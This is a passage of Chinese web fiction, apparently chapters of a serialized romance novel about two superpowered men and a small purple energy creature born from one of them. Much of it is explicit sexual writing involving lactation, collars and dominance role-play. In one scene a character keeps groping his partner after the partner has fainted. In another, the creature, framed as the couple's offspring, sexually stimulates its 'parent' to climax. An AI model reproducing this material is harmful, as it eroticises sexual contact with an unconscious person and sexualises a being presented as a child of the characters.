想要扯掉的环扣依旧没能被摘下,死死钉在肿痛的晕圈边缘,随着动作陷入柔软的肌肤,在冷白肤色上勒出颜情红糜的凹陷。 阻塞的腺体随之分泌出更多的白迹,顺着饱满的曲线流淌而下。 牙齿磕碰到环扣状的冰凉金属物,迟聿驷叼住左侧的圈环,用灵活的舌尖不紧不慢地挑开卡扣。 犹如洪水泛滥决堤,阻塞多时内积攒而出的蜜甜顿时不受控地喷涌而出。 郗烬忱仰起脖颈,眸光半阖着用鲨鱼齿咬住自己的手腕,仍挡不住失控溢出的一声又一声的低吟。 另一侧的环扣不知何时也被撬开。没有遮挡和接纳的存在,尽数喷洒分溅到面前人的脸侧和领口,再沿着锁链汩汩流淌,将对方整个人都淋得湿漉漉的,黑色风衣摸着也变得粘手起来。 迟聿驷缓缓抬眼,鼻梁上也沾了一点香甜的雪渍。 从这个角度,他只能观察到郗烬忱紧绷的下颌线和分外脆弱的脖颈,怀中人处在痉挛的余韵之中,躯体战栗着抖动,齿尖松了力,被咬出血的腕骨也垂落下来。 他用指腹蘸了下于峰沟间聚集的积蓄,随手抹过郗烬忱微张的唇瓣。 而后,迟聿驷倾身覆上,凑过去唇齿相贴,将嘴里带着体温的温热液体渡到对方口中。 郗烬忱的喉结上下滚动,无意识地吞咽着,味道有些甜,末了又有一丝奇怪的回甘,模糊间,听到耳畔传来一句低沉的声音。 “伸出来。” 迟聿驷的脸近在咫尺,郗烬忱莫名被冰冷的冰蓝色眼珠烫了一下,压下绵软沙哑的气音,自鲨鱼齿内乖乖地探出了一截湿软的殷红。 舌尖泛着艳丽的色泽,迟聿驷伸手按住他的喉结。看着郗烬忱眸中雾气蒙蒙,眼尾带着未退的潮红,明明一副失神的样子,还是听从命令乖顺地把嘴唇又张开了些,示意自己已经完全咽了下去。 眼睛、嘴巴、脖颈,都被用目光扫过一遍,像是被在笼里蒸熟了一样变了颜色。 “还想要……” 郗烬忱的尾音带着未餍足的甜腻,不自觉翁张的湿热之地绞住迟聿驷腿面的黑色布料,漾出深色水痕,却偏过头避开了黑发男人的第二次亲吻。 迟聿驷微不可察地顿了一下,微长的黑色碎发遮盖住眼底波澜不惊的情绪,眼眸泛起幽深的暗色。 “不需要……”中间的词句被含糊地略过,郗烬忱没怎么用力地抬了点手臂,抵住迟聿驷的胸膛,有些困惑地哑声问,“…也可以……?” “想亲。”迟聿驷简单道。 他快速理解了郗烬忱想要表达的意思,觉得这人在这段时间又有些变傻了些。 想接吻就亲上去,这需要什么理由。 再聪明的人某种情况下也会变得混沌,做多了自然会产生依赖情绪。郗烬忱系统过载般短暂怔了怔,突然轻笑一声,仰起头主动贴近了面前的男人。 银紫色的发丝扫过迟聿驷的喉结,郗烬忱收敛了锋利的鲨鱼齿,唇瓣柔软地蹭过对方的脸颊,再移动到嘴角,直到鼻尖相触时带来细微的痒意。 他被迟聿驷的两个字击溃,而那两个字简单直白,甚至根本算不上是情话,可他们之间本身就没有确认什么关系,反倒让这两个字成为最危险的临界。 实在没忍住,郗烬忱开始笑起来,一边笑着亲他一边握住他的手放在自己心口,掌心下的闷响快得烦人,顺着相贴的肌肤一路流进心脏。 “主人……” 他带着笑意的气音散在迟聿驷眼前,再向下去摸对方被自己润湿的衣裤,“……不继续吗?” *百度百科搜索面包的烘焙过程。 上方紫色的香芋夹心面包被揉捏得变形,在过度挤压的力道中变成各种各样的形状。 半透明的奶油流心从夹层里不断地溢出,大股大股地喷撒出来,直到流量稀释,只能泌出些许微弱的残存,下一秒,反被大力捏住内里核心,又硬生生挤出几滴散着奶香的流动夹心。 下方的糖霜从饼干缝隙间渗出,一点一点积成晶莹的糖渍,瞬息间在高温的烘培烤箱中融化开来。 流心的两块松软饼干被食品夹左右随意拨弄着,又被不怕烫的传奇耐温王糕点师一口咬在嘴里舔舐着嚼了几下,溢出的糖浆在齿间拉出细长的银丝,舌尖徐徐扫过酥皮,尚未烘焙完成的饼干本体不由得在热浪中微微晃动。 直到一根巧克力棒斜斜贴住面包夹层的表面,与溢出的奶油馅交融,散发出诱人的香甜味道。 郗烬忱双手捧着两团蓬松的香芋面包,牢牢夹住中间的巧克力棒,迷蒙地眨了眨涣散的紫色眼睛,睫毛上还沾了一点糖霜碎粒。 他下意识低头,想要含住巧克力棒,迟聿驷没什么表情地揪住在空中不断摇摆的小辫,迫使他仰头看向自己,将食指关节卡在若隐若现的鲨鱼齿间。 “…唔……” 香甜的奶油味道还在唇齿间流窜,他轻轻咬了两下嘴里黏湿的手指,拽住迟聿驷的领口想把这人扯得俯下身来,被放开的右胸口突然一坠。 淡紫色的团子从一旁蹿出来,委屈地“咕咕啾”疯狂乱叫,举着无数个小触手弹射起步,作为被禁锢再被忽视的报复,它一口叼住刚被郗烬忱放开的地方,得意地晃了晃圆滚滚的身体,像一只护食的小兽。 迟聿驷眯起眼睛,捏住这团淡紫色的玩意想要直接把它甩到一边。 团子却咬着嘴里的东西死死不放,伸出触手勾住郗烬忱脖颈的项圈,把自己拉成长长的一条L状生物,趴在柔软的山峦之间,蓝色的玻璃珠适时滚出水汪汪的眼泪。 郗烬忱下意识抬手护住胸前,指尖被团子慌忙地缠住。它用两根最细的触须轻轻拽了拽他的手指,剩余的其他全部蜷缩成团,发出微弱的“咕噜咕噜”声音。 迟聿驷扯住它的手再用了些力道,被郗烬忱勾住手腕上的粉色卡通皮筋。 银紫色的发辫凌乱地散开,剧烈起伏中,郗烬忱用一只手遮住团子的眼睛,哑哑地笑出声:“你和它…计较什么…?” 第117章 嚣张跋扈的团子最终被迟聿驷无情制裁。 对郗烬忱护住能量体的行为略感不爽, 这位心思沉闷的人类最强虽然遮掩住了自己外泄的神色,但仍能看出对淡紫色团子的来源心存芥蒂,即使这坨尖牙利齿的圆滚滚生物有着和他相同的蓝色瞳孔。 外表看来是他的种, 内里构成仍需保持怀疑态度。 这段时间内迟聿驷面上不显,行为却处处透露着不着痕迹的离间,和团子相处的态度冰冷却微妙, 郗烬忱对此表示有点小乐,装作看不见这两个物种之间静默的纷争,只在一切结束后投喂蔫巴巴的团子半截巧克力威化。 而此刻面对心情不悦的迟聿驷, 郗烬忱在护住它后反而有些更为自顾不暇。 脖颈的项圈被连带着锁链一起拽住, 对方的膝盖抵住还在流淌的-之地,他在面前人近乎无法抗拒的不间断碾压中瘫软喘息。 刚刚经历过高强度拨弄的地方根本受不住这种对待,郗烬忱在恍惚中撑起发抖的手臂, 无意识侧身向后爬开了点距离,本能地捂住在山峦水波里掉眼泪的淡紫色生物,想要逃离充满压迫感的黑发男人。 两片*饼干却仍然不知餍足地张动,自缝隙间渗出更多的糖渍。 痉挛的腹部, 还是掉眼泪的团子, 他犹疑不决地不知道该先护住哪个,大脑一瞬间无法思考, 潜意识被迟聿驷日常的态度影响,最终还是挡在了小腹之前。 能量体眨着蓝色的玻璃珠向外瞄了一眼, 无情的大手在视线中伸来,迟聿驷冷着一张脸,抬手捏住它就往外扯。 遍布红迹的柔波在动作间不断荡漾起伏,团子捍卫自己的领土,用尖锐的排齿扣住嘴里不再泌出蜜甜的丰盈死死不放。 弧线因外力而变形, 上方的晕点在撕扯后被微微拉长,在空气中无比可怜地颤巍巍晃动开来。 内部蕴含的-早被挤压干净,郗烬忱被伶牙俐齿的团子咬拽得生疼,不得不以一种艰难的姿势向前爬行了几步。 喉间溢出破碎微弱的低吟,一碰到迟聿驷,被【**——】的身体就操纵着他主动向对方移动。 腰肢因这个动作而自然下塌,郗烬忱上身前倾着用手臂环住对方,半阖着眸光靠近,微微收力时尽数展露,只稍稍一拍就能荡起奇妙的浪波。 看起来完全是在进行下一轮的邀请。 “……疼。” 郗烬忱的呜咽轻得几乎消散,还带着不受控的泣声,淡紫色团子闻言僵住动作,排齿尖牙缓缓收回。 这片刻的迟疑让它失了先机,没留神就被迟聿驷一个用力扣下来塞到玻璃罐中。 盖子上长满倒着的蓝色刀刃,满嘴空空的淡紫色能量体仰望瓶盖思考团生,自闭地缩成小小一坨,窝在玻璃瓶里不再有任何动作。 迟聿驷环着腰将人压在床上,停顿了一下即将实施的粗俗动作,静静垂下眼帘看他,视线扫过于泛红眼尾处凝出的要掉不掉的泪珠。 他不重不轻地压在郗烬忱的小腹,低着头不知道在想些什么,几秒后,试探性地点在身下人唇瓣微张的唇角,半晌淡淡出声道:“那个没了,还有这个。” 被按住的腹部不知为何绞痛难忍,郗烬忱几乎快受不住地昏厥过去,在意识涣散的边缘眯起眼睛看他,模糊捕捉到迟聿驷软化下来的语气。 这细微的变化令他胡思乱想,荒谬地又生出一个念头,是不是做得次数多了,把迟聿驷的情感也做回来了。 他因这样的猜想低笑出声,仰头用鲨鱼齿轻轻咬住迟聿驷的下巴。 “……骗你的。” 声音混着欢愉的颤音,他用力环住迟聿驷的脖子,“揉一揉…就好了。” 郗烬忱的本意是想让他安抚一下肚子里的家伙。 但由于语境和理解的差异,迟聿驷没什么表情地用手腕拭去下颌的浅渍,捏住方才被团子咬疼的地方左右揉弄,传来的痛痒感觉令郗烬忱不由得拧腰躲避。 迟聿驷凝了下眉:“很疼?” “……” 郗烬忱想说些什么,压下呼之欲出的喘息,勾起唇笑了下,抬头看到迟聿驷的表情后,没忍住再笑了一下,脑袋不是很灵光地瞎乐呵了几秒,小腹疼得他笑容猛地僵在嘴角。 “…嗯……”他模糊地用气音应答,将一旁的玻璃罐往胳臂里收了收。 冰冷的金属贴住皮肤,郗烬忱闭上眼睛,混沌地感知到腹部那团疼痛仍在跳动,伴随着每一次的呼吸撕扯他的神经。 迟聿驷就亲了一下嘴角,怎么能这么好动……?这么想着,痛感沿着神经末梢蔓延至四肢百骸,将他拖入神志不清的黑暗。 罐中的淡紫色团子瞪大它蓝色的玻璃珠,视线在郗烬忱与迟聿驷之间来回游移。 像是察觉到什么,它就这样一眨不眨地观察着,直到玻璃珠泛起酸涩的刺痛,才发觉自己看得有点眼睛疼。 眼前的面包正在被糕点师有一下没一下地搓弄,下方饱满的存在随意变化着形状,被挤压变成不同形状的面团,布满泛红凹陷的指印。 内里的腺体仍在努力工作着,却只泌出来一点点稀薄的蜜甜,很快就被指腹抹开消散不见。 小触手“啪嗒”一声重重拍在玻璃瓶上,淡紫色团子扒成扁扁一片,将整个团都紧紧贴在玻璃内壁上,用玻璃珠不可置信地盯着迟聿驷,妄图在隔空进行无声的控诉。 那么多,那么少,现在还没有了,它还没有喝到多少,全都被这个人挤出来喷到哪里看不到了。 而以往掉几滴眼泪郗烬忱就会任由它叼着不放开,想嘬多久都不会说它一句话,涨得难-受时还会主动把它放到胸口。 浑身充斥着熟悉能量波动的黑发男人还在对已经昏过去的人上下其手,这个三分钟热度的糕点师很快玩腻了不再分泌奶油的温软面包,转而去拨弄仍然滴落糖渍的两片饼干。 本是同根生,分它一点怎么了。 淡紫色团子不死心地“啪嗒啪嗒”拍着玻璃罐,被勉强施舍它一个冷酷眼神的迟聿驷随手塞到床底,又顺着空荡的木制地板一溜烟滚到墙角。 它再一次失去梦想地仰望瓶盖,缩成小小一团,悲愤地咬住自己的八只触手,再用其他的两只触手盖住身体上两颗小小的蓝色玻璃眼珠。 一秒、两秒…七秒…… 数数一直数到第二天,它沉睡起来时还被锁在用来装咖啡渣的大型玻璃罐里,不过是地点从地上移动到了桌子上。 扫视一圈,银紫色头发的男人正背对着它扎小辫,用修长的手指勾着一根粉色皮筋,慢条斯理地束起脸侧散落的长发。 镜面折射出他自然勾起的嘴角,那抹向上的弧度像是刚刚被什么事情取悦,又仿佛只是习惯性的表情伪装。 不管做什么都会缀着笑意,被握住腰时掉着眼泪也会莫名其妙乐起来,团子贴在玻璃壁上用大眼珠看他,张了张没牙的嘴巴,冷不丁就被一道身影严严实实挡住了视线。 它呆滞地向上望去,抱着刀靠在桌子旁的迟聿驷一脸冷漠地侧目瞥它一眼,屈指叩了叩长满倒刺的瓶盖。 淡紫色团子小小怒了怒,无能地用小触手徒劳地砸了砸罐壁,迟聿驷作势要把它的玻璃瓶倒扣过来,团子又立刻圆润地蹲在那里不动了。 郗烬忱辫好辫子凑过来,被这两个奇异物种的行为弄得一乐,弯下腰,跟着迟聿驷一起敲了敲杯壁。 团子委委屈屈地伸出触手隔着一层玻璃贴住他的指节,眼馋地望进黑色衬衣的领口。那里没有系上方的三枚纽扣,慷慨且富有地大敞着坠下,完全是在诱惑它一口咬上去,再像钟摆那样欢快地在空中摆来摆去。 它飞快瞄一眼迟聿驷,瘪起嘴巴又准备掉下眼泪。 郗烬忱顺着杯盖纹路逆时针旋转杯盖,玻璃盖纹丝不动,轻打响指,指尖泛起微弱的紫色光芒,试图直接撬开封口,却依然徒劳无功。 受脖颈处抑制项圈的影响,他暂且无法打破迟聿驷的异能封口。 迟聿驷眼神淡漠地扫过这一幕,冰蓝色的眸瞳微眯,对此表达出不容忽视的一声冷哼。 郗烬忱无奈地摊开手,示意自己也没有办法。但团子眨着淡蓝色的眼睛看他,晶莹的泪珠大颗大颗地滚落——好歹也是从自己肚子里孕育出的东西。 他偏过头,银紫色发丝垂落肩头,轻笑问:“迟聿驷,你怎么还和小孩置气?” 刀鞘点在玻璃瓶盖,迟聿驷当然不和区区团子置气,只语气莫名道:“换个称呼。” “那亲爱的?” 心思沉闷难猜的人类最强只皱眉不回答。 不管是过去还是现在,迟聿驷显然对这个所有人都听得到的称呼很是嫌恶。不喜欢听“亲爱的”,又不愿意被叫大名……郗烬忱贴过身去与他唇瓣相贴,刻意用舌尖勾了下对方的唇缝。 “主人…?长官……,还是…” 郗烬忱贴过身去与他唇瓣相贴,若即若离地缓慢轻蹭着碾磨,分离时,刻意用舌尖去勾了下对方的唇缝。 “达~令↑↓→?” 语调微微上挑又缠绵落下,郗烬忱故意将尾音拖得很长,自带小钩子似的甜腻笑意,从他唇舌缓缓滚过,硬生生多了几丝情色的味道,音符都仿佛在具象化的跳动。 他勾着迟聿驷肩膀闷笑,胸膛的震动涟漪般透过相贴的肌肤传来。后者眸色一沉,骨节分明的手指拽住郗烬忱敞开的衣服,挡在团子面前,扯过衣领把人拽向自己,反客为主地撬开唇咬住这条作乱的舌头。 “好凶。”郗烬忱状似抱怨着探出半截殷红舌头,舔过自己的下唇,一抹血色在唇瓣晕开。 他紧接着再贴回去,用舌尖沿着迟聿驷的唇线描摹,带着刻意流连的舔舐,将血气与甜腻一并渡了过去,又在这人第二次吻上来前飞快地撤离。 郗烬忱明明也很喜欢接吻,之前又为什么不让他亲。思绪在脑海中简单闪过,迟聿驷下移视线,看到面前人过于发达的胸部线条,正随呼吸上下起伏,将被捏在一起的衬衫紧绷出危险的弧度。 他松开手,衣料随即掉落下滑肩头。 从这个角度什么都能看到,迟聿驷淡然掀起眼皮道:“不想穿就脱了。” 郗烬忱点点玻璃罐,不太想穿迟聿驷衣柜里的黑色风衣、黑色风衣与黑色风衣,状似叹气道:“你为什么不能换个衣服?” 迟聿驷言简意骇:“我喜欢。” “但我不太喜欢呢……长官,”郗烬忱靠在桌子上交叠起双腿,像是想到什么好玩的一样笑着露出尖锐的鲨鱼牙齿,“嗯……或者,你不想看看我穿其他的吗?” 过了几秒,迟聿驷不解风情地回绝道:“只有这个。” 第118章 迟聿驷对衣服的款式和材质一向没有什么要求。 风衣是之前和小队出任务时在一家没人的服装工厂自助打包的, 质量很好,没什么多余的装饰物,适配一年四季春夏秋冬, 耐脏耐血,还不用每天起床都思考今天要穿什么。 他之前上大学也经常穿黑衣二件套,夏天不怕热冬天不怕冷, 寒风瑟瑟中别人冻得发抖时,他单套一件黑色风衣也完全可以,物质欲和与人交流的欲望都不算很高。 郗烬忱之前向朋友描述“迟聿驷”这个人, 是玩味轻笑着形容他平时跟个锯嘴葫芦似的既当哑巴又装瞎子, 有熟人的时候开朗上两下,没有时对于其他一切都当没有听到。 不是因为他不懂那些弯弯绕绕,恰恰就是因为太明白, 他才懒得说,也懒得管。他怕麻烦。 在很多事情上,他不想向别人解释,也不需要让别人明白, 更不会为了别人改变, 所以他同样不会要求别人因他做些什么。 人何必互相理解?迟聿驷向来这样,在他的处世哲学中, 喜欢就维持,其余都无视, 所以一贯长情,跟他相比起来,郗烬忱不仅没什么边界感,还完全是三分钟热度。 两个人不是一个专业,平时按道理来说也见不到几面, 但郗烬忱总会不打招呼地到迟聿驷公寓蹭吃蹭喝。 他的喜好花里胡哨,新鲜感来得快去得更快,同一件款式的衣服向来不会穿得超过两天,每次见面身边都站着不一样的人,漂亮的、温柔的、令他感兴趣的……仿佛谁都喜欢是他与生俱来所具备的。 如果说潇洒的话,的确没人能比他更为潇洒,前一秒说想去哪哪赏花,后一秒订完机票人就不见踪影,活得太嚣张,所以就算被讨厌也无所谓,这点来讲和迟聿驷还有点相似之处。 此刻,面对这位衣柜里只有黑色风衣的黑发男人,郗烬忱摊开手表示好吧,有得穿就行,他总不能真裸身逛街。 淡紫色团子总得带去给卿淼看一眼,没有名字的小东西被奶水喂养得膘肥体圆,在玻璃罐中可怜巴巴地眨着眼睛等待放它出去。 那双蓝色的玻璃珠一闪一闪,它慢吞吞地从自己的身体里掏出一根没拆包装的巧克力棒,小心翼翼地用小触手卷着放在身边的空地上,再朝迟聿驷的方向推了推,像是在缴纳赎金一样乖巧。 迟聿驷不吭声,团子就继续从自己圆滚滚的身体里往外再掏出一根,抬头瞄一眼那个冷酷的男人,见他不为所动,又顺着他的视线望向郗烬忱,犹豫着再掏出一根,还是没反应,只好委委屈屈地继续往外掏,一根接着一根,还有一些其他的不知道从哪捡的东西。 怪不得那些巧克力棒一个都找不到了,郗烬忱对着即将充斥满杂物的玻璃罐研究了几秒,觉得牙齿有点痒痒的。 迟聿驷没有反应或者岔开话题就是在等着他直白地开口说出来,这人恶趣味太重,郗烬忱眯起眼睛,突然轻笑一声。 他倾身向前,修长的手指若有若无地擦过迟聿驷的腕骨,像是带着电流般缓慢向上游移。而后又得寸进尺地贴近几分,将胸膛自然地紧挨住对方的手臂蹭了蹭。 黑衬衫下的柔软被挤压得微微变形,郗烬忱自顾自地用食指压着最中心的那点向内戳了一下。 指腹有些沾到白渍,他抬起眼扬了扬唇:“要放它出来吗?” “我保证它很乖的,长官~”郗烬忱像是思考了一番,盯着他的眼睛,一边捧着柔软比划着,一边偏头笑起来问,“嗯…那以后喂的话,提前向您请示……?” 好像是在进行某种角色扮演,迟聿驷微不可察地挑了下眉,抬起手,“铛”地一声把刀鞘磕在玻璃瓶盖上,吓得团子浑身抖过激灵。 “太胖了,”迟聿驷没什么表情地拎起那团刚获自由就往郗烬忱裸露胸口上挂的馋嘴东西,指尖捏着它Q弹的身体晃了晃,语气平淡道,“可以一直饿着。” 团子“吱吱啾”得抗议起来,不可置信地看了一眼自己已经扁下去的身体,小触手舞动着朝郗烬忱延伸,又被迟聿驷在中途拦截。 “可以试着再咬一下。” 低冷的语气明晃晃透漏警告,迟聿驷随手拨动了下重新扣上的泛着蓝光的环扣,指尖意有所指地碾过柔软。没有外力帮助,里面的腺体便会一直阻塞囤积,晚上他挑开圈环就知道有没有偷吃。 一根筋的能量体听不懂他暗含的警示,认为这句话就是许可,张牙舞爪的身体僵直一瞬,抬头观察了他一会儿,欢天喜地“咕啾”一声,无数条小触手在空中拼命划拉,整只团子扭成了麻花,迫不及待地想朝郗烬忱的领口扑去。 终端上的日程提示开始闪烁,迟聿驷皱眉瞥了眼屏幕,感觉到手中的团子越来越不安分。 还以为它是被自己凶到,对于这副受了天大委屈一样想要寻求郗烬忱的安慰的样子,迟聿驷冷嗤一声,觉得这窝囊的性格肯定不是自己的种,随手划掉屏幕的日程,将淡紫色能量体随手又扔进玻璃瓶里。 这段时间他几乎每天都在家里待着,翘了小队的日常任务和例行会议,但有些会议和任务他还是得必须到场。 他一走,团子就有些按捺不住,从堆满巧克力棒的玻璃罐中跳出来弹了两下,想要咬住已经经过许可的地方,又被郗烬忱眼疾手快地在空中揪住身体。 要干什么?团子眨了眨蓝色玻璃珠,“啾啾”着歪头看他。 “怎么这么馋……”郗烬忱将小东西放在铺着软垫的沙发上,好笑地用指尖戳戳它,蹲下来揉了揉自己被玩得发胀肿痛的山峦。 触感过于细腻,大团的软绵坠在空里摇动着晃了晃,一手都有些不太能握住。 “……有点疼,”他语气不自觉地放柔,“先吃些巧克力棒?” 蓝色玻璃珠瞬间蒙上水雾,团子掉着眼泪,看郗烬忱半天只是扣上衬衫盖住了那一大片冷白,还用手捂住了那两处突显的地方,对于递来的半截巧克力棒立刻闭紧嘴巴,不甘心地表示拒绝。 它生气地膨胀起来,圆不溜秋的身体鼓起,像只被惹恼的小河豚,趁他站起来后一个弹射起身,精准地挤进对方退间,一口叼住自己当初滑下来的地方。 团子暗中观察已久,每次银紫色发辫的男人不同意什么,黑发男人都会这样干,最后再在他没有力气反抗的时候总能得偿所愿。 “唔……” 郗烬忱惊喘一声,整个人骤然软倒,有些站不稳地跌进沙发。 他无意识地蜷起腿,夹住团子圆鼓鼓的身体,像是给这个家伙筑起一道柔软的安全屋,引得它趁机又往里拱了拱身体。 那团淡紫色能量体正一边边抽泣一边卖力地嘬着嘬着那块地方,蓝色玻璃珠里不断滚落莹润的泪水,与从体内引出的透明生理性湿润交融在一起,混杂着,迅速在沙发上积出小小的水洼。 它学着迟聿驷惯用的手法,用两根触手缠住郗烬忱腿侧已然红肿的皮肤,不轻不重地旋转着一拧。 “嗯……迟聿驷…” 破碎的尾音陡然拔高,化作几声颤抖的喘息,郗烬忱猛地弓起腰,一瞬间有些失神起来。 随即而来大股涌出的水体打湿了整个团子,它慌张地松开叼着的部位,淡紫色能量体被浸得湿漉漉的,全是熟悉的味道,下意识用触手蹭了蹭郗烬忱还在轻颤的身体。 被人畜无害的小团子搞得浑身狼狈,身体却仍贪得无厌地渴求更多。而往往这时候迟聿驷就会扇来一掌,郗烬忱仰着脖颈捂住眼睛轻喘,另一只手颤抖着,自虐般移开团子,打了自己不知餍足的地方一下。 淡紫色团子有些发懵地再贴了过去,对着红肿的两片又蹭又舔,郗烬忱浑身战栗着努力平复着呼吸,最终软着腿站起来,拎起浑身黏腻的团子走向浴室。 他屈指想要弹它,但还是轻轻放下了手,软着微哑的嗓音把它放在盆里。 “下次不准这样了,听到了没有?” 团子伸出两根触须讨好地缠住他的手指,末梢还比出小小的爱心形状,把自己泡在水盆里转着圈清洗,和犯错的小朋友一样认错态度积极良好,但还是有些不死心的去看淋浴头下被打湿的衬衫前襟。 因为准备去见卿淼,郗烬忱收拾完后,去自己的安全屋里就近换了一套之前存在那里的皮衣,上方没拆封的广告词是这样写的: 【黑色皮衣(闪电),强者的象征!】 黑色皮衣紧裹着腰身,表面泛着哑光的材质,腰侧还有镂空设计。郗烬忱对着半遮半掩的痕迹饶有兴趣地笑了下,混不在意地扯了扯里面配套的紧身背心。 他对于胸前因环扣而突出的明显凸起毫无任何羞赧,随手甩动皮衣下摆的动作反而带着几分漫不经心的野性。 团子趴在他肩膀上充当挂件,体型大到已经不能窝进锁骨,所以只好用小触手扒住那截金属环扣项圈。 他想到卿淼好玩的反应,染着笑意哼起不成调的曲子,揉了揉团子Q弹的身体:“一会儿要乖一点。” 第119章 卿淼觉得太阳穴有点突突发疼。 从起床时就开始了, 最近他每天晚上做梦都能梦到某个银紫色发辫的鲨鱼牙男人,像是在进行永无止境的噩梦循环,夜夜坠入相同的梦魇, 哪怕是艳情画面也能心惊胆战整整一天。 林锦楠问他怎么又没睡好,卿淼坐在会议室里,捏着鼻梁上被眼镜压出的凹陷痛苦回答:“我好像染上郗烬忱了, 糟糕,我觉得自己以后可以不用睡觉了。” 黑眼圈重的可以堪比熊猫,一闭上眼睛就那个男人, 真正诠释了什么叫作春梦都…哦不, 是做噩梦和美梦都是对方的脸。 林锦楠看他这副模样有些于心不忍,说那你自己冷静一下补会儿觉。说完这句话她就出去接咖啡了,一会儿陈二毛他们过来进行每周的日常团建, 她有点喜欢那个氛围,每次选茶水和甜点都要纠结半天。 卿淼趴在桌子上对着碎了一块角的镜子审视这张蔫了的俏脸,回忆起自己曾经坦荡承诺出要郗烬忱付出代价的豪言壮志,发现对这三个字竟然分不清是讨厌还是讨厌了。 人来了讨厌, 人不来就被折磨出感情了, 不是回避型依恋就是间歇性厌人症,总不能他其实是隐藏的斯德哥尔摩综合征患者吧?!有一种说法叫人类的本质其实都是都爱慕…怎么说都感觉是在骂自己有病。 好吧, 卿淼承认他是个神经病,但先帝创业未半都能中道崩殂, 迟聿驷这尊杀神往那一站,这场诡异到邪神来了都得告辞的感情就直接被杀得连萌芽都不剩了。 思及至此,老祖宗说遇事不决可以选择321跳,可卿淼这个人比较惜命,任务没完成他不太敢跳, 于是只能调整到一个舒服的姿势努力地去睡大觉。 眼睛一闭上其他的感官就被加强了,屁股下的椅子是硬的,桌面也是冰的,噩梦做多了,思绪不由得就飘到上次见面时被浸湿的那件衬衣。 讨厌归讨厌,憎恨归憎恨,但男人的本质都是给佬,像他这样恨也恨不明白的人总是色胆包天,没有相对的实力只会无能狂怒,仇人露出脆弱一面就开始想些有的没的,道具用上了好处都被迟聿驷占完了,自己打了水漂了却让他们睡上好几票了,说不定两个人此刻正在房间里胡搅蛮缠不知天地为何物了,不管怎么想现实里这间空荡荡的会议室里就他一个,就算现在郗烬忱真的脱光了站他面前,他也只敢给迟聿驷发信号说你快来啊人我帮你看着呢…… 卿淼啊卿淼,人这一辈子怎么可以活得这么窝囊,你可是有系统的存在啊?!你难道不是被选中来到这里享受肆意人生的天选之子来着吗—— “咕咕啾!” 像是在附和他心里所想的一样,分外古怪的叫声在耳畔响起,卿淼连连点头,心道世上还是好人多啊还是有东西安慰我的……等等,什么东西?! 卿淼猛地睁开眼,看到了一团不知道从哪里冒出来的奇特生物。 淡紫色的,趴在他摊开在桌面的笔记本上,身体圆不溜秋,正挥舞着两只小触手好奇地戳着笔记本上的字体,咧开的嘴里排满了细密的尖牙,森白锋利,像是缩小版的鲨鱼牙齿。 莫名有点眼熟,卿淼迟疑地捏起胸口的钢笔,小心翼翼地戳它一下,被尖牙利齿的小玩意一口咬断笔身,嚼都没嚼就吞了下去。 卿淼瞳孔一缩,下意识往后缩回手,然而,面前的团子人性化地歪了歪圆滚滚的身体,蓝色的玻璃珠一眨一眨,挥舞着小触手不知道在比划什么,从体内掏出来一根相当眼熟的巧克力棒,再卷起来殷勤地递到他嘴边。 一种不太好的预感久违地涌上心头。 这预感实在令人毛骨悚然,他立刻调出系统面板,飞速计算着自己已经多少天没遇见过那个神秘的热心男子,发动技能狂喊郗烬忱的大名,发现周围没有特定的定位标识才松了口气。 “给我的……?” 卿淼犹疑地接了过来,没忍住多看了几眼那双蓝色的玻璃眼珠,郗烬忱和迟聿驷的异能颜色他当然清楚,他敲了敲系统,得到了一个肯定的答复。 已经成型的能量生命体看起来和他很亲近,似乎还记得自己原本诞生出来是干什么的,亲昵地缠着卿淼的手指蹭了蹭,欢快地“啾啾”叫着在桌面上乱滚,滚了几圈后似乎记起来答应要乖巧一点,又安分地团在他手边不动了。 可惜这个奇特玩意无法收回也不归他所有,卿淼捏了捏它Q弹的身体,触感冰凉滑腻,宛如捏着一块大型的会呼吸的糯米团子。 不清楚是怎么诞生的,但总归是从郗烬忱体内出来的没错。虽然这小怪物本来是属于他的……但他和郗烬忱之间又没有感情,那算不算真如钟鸣曜所说给迟聿驷带了顶有颜色的帽子。 想到这里卿淼又有点想死了,心情在一种“好耶能让迟聿驷不爽,复仇计划大成功!”、“好怕死,这对死男同性恨能不能离他远点?!”和“郗烬忱都怀过他孩子了,那幻想一下也没什么吧”之间矛盾徘徊,抬手略微烦躁地调整好金丝眼镜在鼻梁上的位置。 淡紫色团子还在用小触手戳本子上的黑体字,卿淼盯着它看了片刻,拆开巧克力棒的包装,掰下来一块尝了一口,被苦得一个激灵,索性把剩下的都递到团子嘴边。 小东西兴奋地张开布满细密尖牙的嘴,却在即将咬下的瞬间似有所感地一僵,开始装模作样地用小触手推拒起那根巧克力棒,圆滚滚的身体却仍诚实地往他手心里蹭。 卿淼若有所觉地抬起头。 皮衣猎猎翻飞,郗烬忱正屈膝蹲在窗沿,用骨节分明的左手漫不经心地撑着窗边。风掀起他垂落肩头的银紫色发辫,扫过锋利的下颌线条,轻巧落地时,鲨鱼牙在勾笑的唇间若隐若现。 他笑起来:“嗯……它是不是很可爱?” 好像是在炫耀,不确定,得再看看。 于是卿淼没说话,就只是盯着他看。 这人脖颈被用项圈锁着,锁链一直延伸进衣领深处。修身短款的皮衣完全掩盖不住他那诱人的身躯,丰满性感的胸膛向下看是结实的腹肌,劲瘦的腰肢和饱满修长的双腿,明显的地方似乎完全没被主人发觉,看起来似乎随手一拍都能荡起柔波,再配上那张天生藏笑的脸,只可惜他现在不能不围着迟聿驷转。 思及最后一句话,卿淼谨慎地又探查了一遍四周,没发现迟聿驷的踪迹,心下一沉,感觉后果将会更为恐怖。 他轻轻推了推啃上巧克力棒的小东西:“……你来干什么?我是说,呃,迟聿驷知道吗?” “告诉他做什么?”郗烬忱似乎根本不在意卿淼在担忧的事情,眨眼间凑了过来,俯下身撑在桌子上看他。 他将卿淼困在桌椅的方寸之间,心情不错地伸手拨弄了两下他脸上的眼镜镜腿,笑道,“我带它看看你而已。” 卿淼早在系统发出警告前就飞速把它关进小黑屋里,郗烬忱这句话意思是迟聿驷不知道,那自己要通知他吗? 他脑袋嗡嗡的,小辫男离得太近,那团柔软的东西几乎要抵到他的脸颊,浑身带着浓重的蜜甜奶香,一时间有些丧失了思考功能。 被卿淼的反应逗笑,郗烬忱想到迟聿驷。 回忆里黑发男人总是冷着张脸面无波澜,试探性的动作克制而又危险,像面前人这样偶尔生涩的反应也让他特别喜欢。 这么想着,郗烬忱不自觉地又向卿淼靠近了点,衣料摩挲间,团子立刻警醒地竖起触手,绕成不赞同的麻花辫一路顺着衣料缠上去,用小触手勾住衣服下的环扣。 